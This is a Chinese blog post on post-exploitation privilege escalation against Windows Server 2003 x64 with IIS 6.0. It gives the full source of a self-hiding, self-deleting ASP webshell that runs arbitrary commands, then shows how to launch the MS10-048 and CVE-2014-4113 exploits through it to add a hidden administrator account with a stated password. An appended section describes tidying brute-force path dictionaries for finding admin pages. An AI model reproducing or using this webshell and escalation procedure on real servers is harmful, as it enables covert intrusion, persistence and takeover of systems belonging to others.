后渗透篇:Windows x64下提权Exploit整理

11 篇文章 0 订阅
9 篇文章 0 订阅

 

Windows x64 Local Privilege Escalation

0x00 前言

在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明。在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048 x64。

本文谨记录x64下可提权的Exp与测试过程。暂不考虑依赖第三方服务(如MSSQL/MYSQL/FTP)等的提权。

 测试环境:
Windows Server 2003 Enterprise x64 Edition - VL
IIS 6.0

0x01 手写一个AspExec先

在测试提权Exp之前,假使我们已获得一个一句话后门。

 x64-011

 

 

虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后可以正常执行命令了,甩上最新的CVE-2014-4113的exp先

x64-02

 

机智的发现没有任何反应,这在ms10048上也有所体现。64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:

c:\cmd.exe /c c:\exp.exe parms

但是x64下的几个exp则需要这样执行:

c:\exp.exe c:\recycler\server.exe

手传大马可执行Exp,但强迫症的还是喜欢自己动手丰衣足食(亦可以称做重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所提及,先奉上部分代码窥知一二:

 <object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
    result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
    set newshell=createobject("shell.application")
    newshell.ShellExecute path,parms,"","open",0
    result="Shell.application Execute OK."
Elseif method="self.delete" Then
    file.attributes = 0
    fso.deletefile(file_name)
    set fso = nothing
End If
%>

 

以上为借助Wscript.shell与Shell.application两种方式执行命令,为加强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):

<%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%>

 

最后实现效果如下:

x64-03

隐藏属性:

x64-04

左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不需要)

三个Button分别表示:以script.shell执行命令 / 以Shell.application执行命令 / 脚本自删除

简单的一个示例:

x64-05

以上代码在此处开源:

https://github.com/le4f/aspexec

0x02 MS10048提权

MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数创建窗口时的本地权限提升.

64位环境下可以用以执行木马后门或提权,首先拿来K8Team的一个无参数添加用户,通过API添加用户,在删除或禁用net1.exe时亦可直接添加:

用户名k8team$,密码k8team!@#

借助AspExec,可以很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)

 Path:   c:\inetpub\wwwroot\ms10048.exe
Parms:  c:\inetpub\wwwroot\user.exe

注意不需要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:

x64-06

查看目标主机用户,添加成功

x64-07

至于user.exe替换成别的后门也都类似的。ms10048影响x64版本主要是Windows2003,对于新版系统还是测试CVE-2014-4113吧

0x03 CVE-2014-4113提权

相较于MS10048,新的exp(MS14-058)效果要好很多,Exp同样分32/64两个版本,同样使用user.exe添加账户测试:

 Path:   c:\inetpub\wwwroot\64.exe
Parms:  c:\inetpub\wwwroot\user.exe

上传64.exe(exp)执行后回显如下:

x64-08

基本没有明显延迟,很顺利的添加账号

x64-09

0x04 小结

以上整理仅为对实际环境模拟测试,顺便写份代码分享;)

如有错误或不足,还望指点.若有新的Exploit出现,笔者也会及时补充测试.

本文所涉及的aspexec、cve-2014-4113、ms10048等附件地址在戳这里下载 (密码secpulse)

K8专用字典整理工具 by K8拉登哥哥 博客 http://qqhack8.blog.163.com 网上有很多所谓的字典整理工具 压根就没针对以下情况整理 各种扫描字典里都是因为如下情况 导致有很多重复的数据 K8扫描专用字典25W条 (全部整合是25W 当然也有分类) 是从那收集来的100多W条数据 经过以下算法整理出来的 第一种情况 带#的 这些一般是数据库防下载的 比如 www.xxx.com/#data.mdb 是网站数据库 如果不把#替换成# 扫描时 #后面的被隔断 相当于只扫www.xxx.com 这样扫 工具永远会提示 网址存在 因为xxx.com 永远返回200 以前的人在制作字典的时候没有把#转成# 当然这一步也可以在工具里替换 只是我个人觉得 先处理好 就不用每次扫描的时候 都要有一堆时间放在转换上 转换一个# 0.000几秒 要是同时扫描几十W条记录的时候 这堆就得要浪费时间了 第二种情况 类似 havij等其它工具 字典里的 %EXT% 这个让工具碰到这个变量后 就分别扫这个名称的asp jsp aspx php等 EXT 就扩展名的缩写 并非哪个网站的后缀 log-in.%EXT% login.%EXT% adminlogin.%EXT% admin%EXT% %EXT%替换成 .PHP 因为havij 还是针对PHP站比较多 所以转换成这个后缀 第三种情况 ../../../admin/ ../admin/login ../../../admin/../../ ../admin/login../ ../../../admin/ ../admin/login ../../../admin/../../ ../admin/login../.. 前后有很多.. 或/ 结尾的 严重重复又干扰扫描结果 经过几个步骤后 我们再去掉重复的数据 就比较合理了 第四种情况 ../admin admin /admin/ /Admin/../ Admin ../Admin ./Admin/ 如果是在Windows系统下的网站 上面的字典 就只有 admin 一个而已 如果是在Linux下的话 也只有 Admin 和 admin 两个 第五种情况 字典里有很多结尾是?号的 下面是我随便复制的几个 admindefault.asp? admin/default.asp? admin/editor/admin_login.asp? admin_default.asp? admindefault.asp? default_default.asp? editor/admin_login.asp? index_default.asp? indexdefault.asp? login/default.asp? login_default.asp? logindefault.asp? 下面给一个实际的整理结果 第一次整理14W数据时 变成6W多 第二次整理48W 还是只有7W左右 这说明神马问题 很多重复的 由于网站 有LINUX 所以保留了大小写 如果你平时只搞WINDOWS站的话 可以全部转换成小写后 再去重复 这样你的字典将会更小 因为区分大小写 会有如下情况 还是假设Admin目录 Admin ADmin AdMin adMin adMIN 等等 这些 在WINDOWS下 可只是 一个ADMIN 而以啊 扫描同一个目录 几十次 很浪费时间啊 如果有几十W条数据重复的 那得扫多久 大家想想看
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值